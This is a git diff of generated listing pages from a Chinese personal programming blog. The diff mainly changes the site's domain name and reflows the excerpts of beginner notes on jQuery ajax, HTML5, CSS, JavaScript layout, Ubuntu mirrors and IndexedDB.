type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"}]}</script></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a></div><h1>Posts</h1></header><article class=post-entry><header class=entry-header><h2>jQuery-ajax()方法笔记</h2></header><div class=entry-content><p>ajax()是jQuery中定义的一个方法，该方法用于执行ajax请求，例如：
+$(document).ready(function(){ $("button").click(function(){ $.ajax({ type: "GET", url: "https://httpbin.org/get", success: function(getdata){ console.log(getdata) } }) }) }); 参数
 url：指定发送请求的URL，默认是当前页面
 type：指定请求方式（GET或者POST）
 success：当请求成功时执行的函数
@@ -34,7 +23,7 @@
 traditional：指定是否使用传统的方式来序列化数据
 username：指定响应http访问认证请求的用户名
 password：指定响应http访问认证请求的密码
-xhr：用于重写或者增强XMLHttpRequest对象的函数</p></div><footer class=entry-footer><span title='2021-06-16 09:24:37 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to jQuery-ajax()方法笔记" href=https://xiaochenabc123.github.io/posts/13/></a></article><article class=post-entry><header class=entry-header><h2>html5学习笔记</h2></header><div class=entry-content><p>HTML5是HTML标准的第5代标准，主要目的是语义化并且提供多媒体的嵌入
+xhr：用于重写或者增强XMLHttpRequest对象的函数</p></div><footer class=entry-footer><span title='2021-06-16 09:24:37 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to jQuery-ajax()方法笔记" href=https://chenjunlinabc.github.io/posts/13/></a></article><article class=post-entry><header class=entry-header><h2>html5学习笔记</h2></header><div class=entry-content><p>HTML5是HTML标准的第5代标准，主要目的是语义化并且提供多媒体的嵌入
 HTML是什么？HTML全称为HyperTextMarkupLanguage，中文叫超文本标记语言，简称HTML
 而HTML5是一个标准，指的是第五代HTML标准
 HTML5主要的新特性：
@@ -67,42 +56,22 @@
 要注意可以改变样式的标签不一定是有居于语义的
 在没有出现语义元素前，几乎都是使用div或者span，加类加id
 没有语义的元素最适合当容器使用了
-常用的非语义元素有&lt;div>和&lt;span>
-常用的语义元素有&lt;header>和&lt;footer>
-&lt;header>：页眉，一般包括网站logo，主导航，搜索框等；
-&lt;nav>：导航，链接；
-&lt;main>：定义文章的主要内容，一个页面只能使用一次；
-&lt;article>：定义一份独立的内容，脱离其他内容或者其他部分，独立于文档的其余部分；
-&lt;section>：定义内容的节（段）；
-&lt;footer>：页脚，一般包含版权信息或者链接等；
-&lt;aside>：侧边栏，一般作为附属信息，例如导航索引，广告等；
-meta viewport
+常用的非语义元素有&lt;div>和&lt;span> 常用的语义元素有&lt;header>和&lt;footer> &lt;header>：页眉，一般包括网站logo，主导航，搜索框等； &lt;nav>：导航，链接； &lt;main>：定义文章的主要内容，一个页面只能使用一次； &lt;article>：定义一份独立的内容，脱离其他内容或者其他部分，独立于文档的其余部分； &lt;section>：定义内容的节（段）； &lt;footer>：页脚，一般包含版权信息或者链接等； &lt;aside>：侧边栏，一般作为附属信息，例如导航索引，广告等； meta viewport
 viewport 是指 web 页面上的可见区域
-&lt;meta name="viewport" content="width=device-width, initial-scale=1.0">
-device-width指设备的理想宽度,不同的设备 device-width 是不一样的
+&lt;meta name="viewport" content="width=device-width, initial-scale=1.0"> device-width指设备的理想宽度,不同的设备 device-width 是不一样的
 nitial-scale=1.0 是指默认缩放大小是1，也就是默认不缩放
 maximum-scale=1.0 是指最大缩放大小是1
 标签使用&lt;和>括起来，例如&lt;div>
 html标签大多都是成对出现的，分开始标签和结束标签，结束标签比开始标签多了个/
 例如： html不区分大小写。所以&lt;DIV>和&lt;div>作用一样。建议使用小写
-&lt;!DOCTYPE html>声明这是一个html5文件，声明位于&lt;html>前面
-&lt;html> 标识HTML文档的开始
-&lt;head>表明一些和html文档有关的信息，例如title
-&lt;body>html文档的主体
-&lt;!...</p></div><footer class=entry-footer><span title='2021-06-16 09:22:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;3 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to html5学习笔记" href=https://xiaochenabc123.github.io/posts/12/></a></article><article class=post-entry><header class=entry-header><h2>css3学习笔记</h2></header><div class=entry-content><p>盒子模型
+&lt;!DOCTYPE html>声明这是一个html5文件，声明位于&lt;html>前面 &lt;html> 标识HTML文档的开始 &lt;head>表明一些和html文档有关的信息，例如title &lt;body>html文档的主体 &lt;!...</p></div><footer class=entry-footer><span title='2021-06-16 09:22:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;3 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to html5学习笔记" href=https://chenjunlinabc.github.io/posts/12/></a></article><article class=post-entry><header class=entry-header><h2>css3学习笔记</h2></header><div class=entry-content><p>盒子模型
 盒模型在css中是用来封装html元素的，因为本质上来看像个盒子一样，所以叫盒模型或者盒子模型，术语叫box model
 外边距（margin）：一般用于控制同辈元素之间的间距
 边框（border）：在内边距和内容之外的边框
 内边距（padding）：内边框是用于控制内容的距离
 内容（content）：内容，一般为文本和图像
 例子：建立一个宽度为100px，10px的内边距，10px的外边距，10px的红色边框的盒子
-div{
-width: 100px;
-borde: 10px solid red;
-padding: 10px;
-margin: 10px;
-}
-top，bottom，left，right分别代表了上，下，左，右
+div{ width: 100px; borde: 10px solid red; padding: 10px; margin: 10px; } top，bottom，left，right分别代表了上，下，左，右
 或者padding: 上，右，下，左，只有一个数字就表示上，下，左，右都是这个数值
 有两个数值就是分别代表上下和左右，有三个数值表示上和左右和下
 这个盒子大小应该是内容的宽度+内边距+边框+外边距
@@ -129,7 +98,7 @@
 绝对定位元素 position (absolute、fixed)
 display 为 inline-block、table-cells、flex
 overflow 除了 visible 以外的值 (hidden、auto、scroll)
-BFC的特性：...</p></div><footer class=entry-footer><span title='2021-06-16 09:21:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;6 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to css3学习笔记" href=https://xiaochenabc123.github.io/posts/11/></a></article><article class=post-entry><header class=entry-header><h2>原生js实现瀑布流布局</h2></header><div class=entry-content><p>瀑布流的特点就是容器等宽不等高，计算其高度，选择最矮的一个容器的下面将插入第二行的第一个容器，以此类推，因此容器需要设置为绝对定位
+BFC的特性：...</p></div><footer class=entry-footer><span title='2021-06-16 09:21:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;6 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to css3学习笔记" href=https://chenjunlinabc.github.io/posts/11/></a></article><article class=post-entry><header class=entry-header><h2>原生js实现瀑布流布局</h2></header><div class=entry-content><p>瀑布流的特点就是容器等宽不等高，计算其高度，选择最矮的一个容器的下面将插入第二行的第一个容器，以此类推，因此容器需要设置为绝对定位
 首先需要确定一行有多少列，列数 = 页面的宽度 / 容器的宽度
 获取页面的宽度：window.innerWidth或者document.documentElement.clientWidth或者document.body.clientWidth
 获取页面的高度：window.innerHeight或者document.documentElement.clientHeight或者document.body.clientHeight
@@ -142,39 +111,14 @@
 因为已经设置了下一行的容器，因此还需要重新获取一下当前容器的高度，当前容器高度 = 当前容器高度+间隙 +拼接过来的容器的高度
 为了体验更好，可以将上面操作封装到一个函数中，当网页加载完毕加执行（window.onload），当页面宽度高度发送变化时也执行(window.onresize)
 例如：
-var data = document.getElementsByClassName('imgs');
-function datamain(){
-var datawidtha = window.innerWidth;
-var datawidthb = Math.floor(data[0].offsetWidth);
-var dataab = Math.floor(datawidtha/datawidthb);
-var ints = Math.floor((datawidtha - dataab*datawidthb)/(dataab+1))
-var arr = [];
-for(var i=0;i&lt;data.length;i++){
-if(i&lt;dataab){
-data[i].style.top = 0;
-data[i].style.left = (datawidthb+ints) * i + "px";
-arr.push(data[i].offsetHeight);
-}else{
-var datamin = arr[0];
-var index = 0;
-for(var a = 0; a&lt;arr....</p></div><footer class=entry-footer><span title='2021-06-16 09:14:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 原生js实现瀑布流布局" href=https://xiaochenabc123.github.io/posts/10/></a></article><article class=post-entry><header class=entry-header><h2>linux系统的日常使用</h2></header><div class=entry-content><p>linux发行版有很多，这里使用的是Ubuntu
+var data = document.getElementsByClassName('imgs'); function datamain(){ var datawidtha = window.innerWidth; var datawidthb = Math.floor(data[0].offsetWidth); var dataab = Math.floor(datawidtha/datawidthb); var ints = Math.floor((datawidtha - dataab*datawidthb)/(dataab+1)) var arr = []; for(var i=0;i&lt;data.length;i++){ if(i&lt;dataab){ data[i].style.top = 0; data[i].style.left = (datawidthb+ints) * i + "px"; arr.push(data[i].offsetHeight); }else{ var datamin = arr[0]; var index = 0; for(var a = 0; a&lt;arr....</p></div><footer class=entry-footer><span title='2021-06-16 09:14:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 原生js实现瀑布流布局" href=https://chenjunlinabc.github.io/posts/10/></a></article><article class=post-entry><header class=entry-header><h2>linux系统的日常使用</h2></header><div class=entry-content><p>linux发行版有很多，这里使用的是Ubuntu
 个人喜欢使用无界面版本（ubuntu-20.04-live-server-amd64）
 有关于树莓派的看这个
 修改为国内源
 nano /etc/apt/sources.list
 替换内容为
-# 默认注释了源码镜像以提高 apt update 速度，如有需要可自行取消注释
-deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal main restricted universe multiverse
-# deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal main restricted universe multiverse
-deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-updates main restricted universe multiverse
-# deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-updates main restricted universe multiverse
-deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-backports main restricted universe multiverse
-# deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-backports main restricted universe multiverse
-deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-security main restricted universe multiverse
-# deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-security main restricted universe multiverse
-# 预发布软件源，不建议启用
-# deb https://mirrors....</p></div><footer class=entry-footer><span title='2021-06-16 09:12:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;3 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to linux系统的日常使用" href=https://xiaochenabc123.github.io/posts/8/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://xiaochenabc123.github.io/posts/page/22/>«&nbsp;Prev&nbsp;</a>
-<a class=next href=https://xiaochenabc123.github.io/posts/page/24/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+# 默认注释了源码镜像以提高 apt update 速度，如有需要可自行取消注释 deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal main restricted universe multiverse # deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal main restricted universe multiverse deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-updates main restricted universe multiverse # deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-updates main restricted universe multiverse deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-backports main restricted universe multiverse # deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-backports main restricted universe multiverse deb https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-security main restricted universe multiverse # deb-src https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ focal-security main restricted universe multiverse # 预发布软件源，不建议启用 # deb https://mirrors....</p></div><footer class=entry-footer><span title='2021-06-16 09:12:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;3 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to linux系统的日常使用" href=https://chenjunlinabc.github.io/posts/8/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://chenjunlinabc.github.io/posts/page/22/>«&nbsp;Prev&nbsp;</a>
+<a class=next href=https://chenjunlinabc.github.io/posts/page/24/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/posts/page/24/index.html b/posts/page/24/index.html
index 8dbc30ce..ee17eb10 100644
--- a/posts/page/24/index.html
+++ b/posts/page/24/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>Posts | 小陈的个人博客</title><meta name=keywords content><meta name=description content="Posts - 小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/posts/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Posts"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Posts"><meta name=twitter:description content="小陈的个人博客"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"}]}</script></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a></div><h1>Posts</h1></header><article class=post-entry><header class=entry-header><h2>简单解决文本溢出问题</h2></header><div class=entry-content><p>当文本宽度超过容器的宽度那么将导致溢出
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>Posts | 小陈的个人博客</title><meta name=keywords content><meta name=description content="Posts - 小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/posts/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Posts"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Posts"><meta name=twitter:description content="小陈的个人博客"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"}]}</script></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a></div><h1>Posts</h1></header><article class=post-entry><header class=entry-header><h2>简单解决文本溢出问题</h2></header><div class=entry-content><p>当文本宽度超过容器的宽度那么将导致溢出
 使用text-overflow属性会修剪文本导致文本显示不全
 这里使用的方法是word-break: break-all+white-space: pre-wrap
 word-break: break-all
@@ -9,43 +9,20 @@
 pre：保留空格，换行保留，不自动换行
 pre-wrap：保留完整空格，保留换行符，自动换行
 pre-line：保留空格（可能不完整），保留换行
-一个提供换行规则，另一个保证换行的样式还存在（例如换行符，空格等等），而且还提供自动换行功能</p></div><footer class=entry-footer><span title='2021-06-16 08:40:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单解决文本溢出问题" href=https://xiaochenabc123.github.io/posts/6/></a></article><article class=post-entry><header class=entry-header><h2>IndexedDB浏览器数据库学习笔记</h2></header><div class=entry-content><p>IndexedDB是浏览器提供的本地数据库，允许存储数据，采用键值对存储，允许异步请求，允许索引请求，IndexedDB理论上存储空间没有限制
+一个提供换行规则，另一个保证换行的样式还存在（例如换行符，空格等等），而且还提供自动换行功能</p></div><footer class=entry-footer><span title='2021-06-16 08:40:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单解决文本溢出问题" href=https://chenjunlinabc.github.io/posts/6/></a></article><article class=post-entry><header class=entry-header><h2>IndexedDB浏览器数据库学习笔记</h2></header><div class=entry-content><p>IndexedDB是浏览器提供的本地数据库，允许存储数据，采用键值对存储，允许异步请求，允许索引请求，IndexedDB理论上存储空间没有限制
 打开（新建）indexedDB：
 indexedDB.open()，该方法有俩个值，第一个是数据库名（没有该数据库那么就新建），第二个值为数据库的版本，一般来说默认为1（必须是大于0的自然数），例如：
-var datadb = window.indexedDB.open("data",1);
-datadb.onerror = function(){
-console.log("数据库打开失败")
-}
-datadb.onsuccess = function(){
-console.log("数据库打开成功");
-}
-datadb.onupgradeneeded = function(event){ console.log("数据库版本升级");
-}
-onerror事件表示打开数据库失败
+var datadb = window.indexedDB.open("data",1); datadb.onerror = function(){ console.log("数据库打开失败") } datadb.onsuccess = function(){ console.log("数据库打开成功"); } datadb.onupgradeneeded = function(event){ console.log("数据库版本升级"); } onerror事件表示打开数据库失败
 onsuccess事件表示打开数据库成功
 onupgradeneeded事件表示数据库升级（当数据库版本低于指定的数据库版本）（另外，新建数据库，操作新的数据库也可以在该事件中处理）
 新建数据对象（数据表）
-datadb.onupgradeneeded = function(event) {
-console.log("数据库升级");
-var objdb = event.target.result.createObjectStore("abc",{keyPath: "id"});
-}
-表名为abc，主键为id，主键默认为索引
